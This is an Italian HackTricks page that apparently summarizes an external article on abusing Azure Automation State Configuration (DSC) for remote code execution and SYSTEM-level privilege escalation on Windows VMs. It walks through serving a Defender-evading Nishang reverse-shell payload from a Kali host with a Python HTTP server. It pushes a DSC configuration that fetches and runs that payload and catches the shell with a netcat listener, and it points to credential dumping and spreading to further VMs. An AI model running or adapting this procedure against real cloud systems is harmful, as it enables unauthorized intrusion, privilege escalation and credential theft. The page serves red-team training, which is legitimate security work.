Az - State Configuration RCE

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Controlla l'articolo completo su: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Riassunto della preparazione dell'infrastruttura del server remoto (C2) e dei passaggi

Panoramica

Il processo prevede la configurazione di un'infrastruttura di server remoto per ospitare un payload modificato di Nishang Invoke-PowerShellTcp.ps1, chiamato RevPS.ps1, progettato per eludere Windows Defender. Il payload viene servito da una macchina Kali Linux con IP 40.84.7.74 utilizzando un semplice server HTTP Python. L'operazione viene eseguita attraverso diversi passaggi:

Passaggio 1 — Creazione dei file

  • File richiesti: Sono necessari due script PowerShell:

  1. reverse_shell_config.ps1: Un file di configurazione dello stato desiderato (DSC) che recupera ed esegue il payload. È ottenibile da GitHub.

  2. push_reverse_shell_config.ps1: Uno script per pubblicare la configurazione nella VM, disponibile su GitHub.

  • Personalizzazione: Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi i nomi delle risorse, i percorsi dei file e gli identificatori del server/payload.

Passaggio 2 — Comprimere il file di configurazione

  • Il file reverse_shell_config.ps1 viene compresso in un file .zip, rendendolo pronto per il trasferimento nell'account di archiviazione di Azure.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Passo 3 — Imposta il contesto di archiviazione e carica

  • Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Passo 4 — Preparare Kali Box

  • Il server Kali scarica il payload RevPS.ps1 da un repository GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Lo script viene modificato per specificare la VM Windows di destinazione e la porta per la reverse shell.

Step 5 — Pubblicazione del file di configurazione

  • Il file di configurazione viene eseguito, risultando nello script della reverse shell che viene distribuito nella posizione specificata sulla VM Windows.

Step 6 — Host del payload e configurazione del listener

  • Viene avviato un server Python SimpleHTTPServer per ospitare il payload, insieme a un listener Netcat per catturare le connessioni in ingresso.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • Il task pianificato esegue il payload, ottenendo privilegi di livello SYSTEM.

Conclusioni

L'esecuzione di successo di questo processo apre numerose possibilità per ulteriori azioni, come il dumping delle credenziali o l'espansione dell'attacco a più VM. La guida incoraggia a continuare a imparare e ad essere creativi nel campo di Azure Automation DSC.

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated